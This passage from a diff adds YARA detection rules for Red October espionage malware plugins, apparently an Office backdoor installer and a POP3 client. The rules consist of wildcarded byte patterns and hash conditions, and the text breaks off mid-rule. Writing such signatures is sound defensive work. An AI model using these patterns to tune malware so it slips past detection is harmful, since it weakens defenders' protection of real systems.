+		$block_10 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 }
+		$block_11 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 33 ?? 83 ?? ?? ?? 0F 94 ?? 88 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_15 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 83 ?? ?? 74 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_17 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_18 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_19 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_21 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_23 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_24 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_25 = { 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_26 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_27 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_28 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_30 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "82095ecc6099be283f9e211780d7100b732fc216383e59605804b6f0734db9ba" or
+		12 of them
+}
+
+rule RedOctoberPluginOfficeBDInstaller {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_1 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_2 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_3 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 8B ?? ?? 5? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_8 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_9 = { 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_10 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_11 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_12 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_14 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_15 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_16 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_17 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+
+	condition:
+		hash.sha256(0, filesize) == "19830a143595d6c6791da1abd4126cba59b6c71f2d535227ba36b7298d276250" or
+		12 of them
+}
+
+rule RedOctoberPluginPOP3Client {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? 5? 5? 5? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? A3 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? FF 0? ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A1 ?? ?? ?? ?? BB ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? A1 ?? ?? ?? ?? BF ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 4? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 03 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 0B ?? 0F 84 }
+		$block_1 = { 8B ?? 5? 5? 5? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? A3 ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 4? 4? 8B ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? BE ?? ?? ?? ?? 4? 8B ?? 8B ?? A1 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? 8B ?? A1 ?? ?? ?? ?? BB ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? 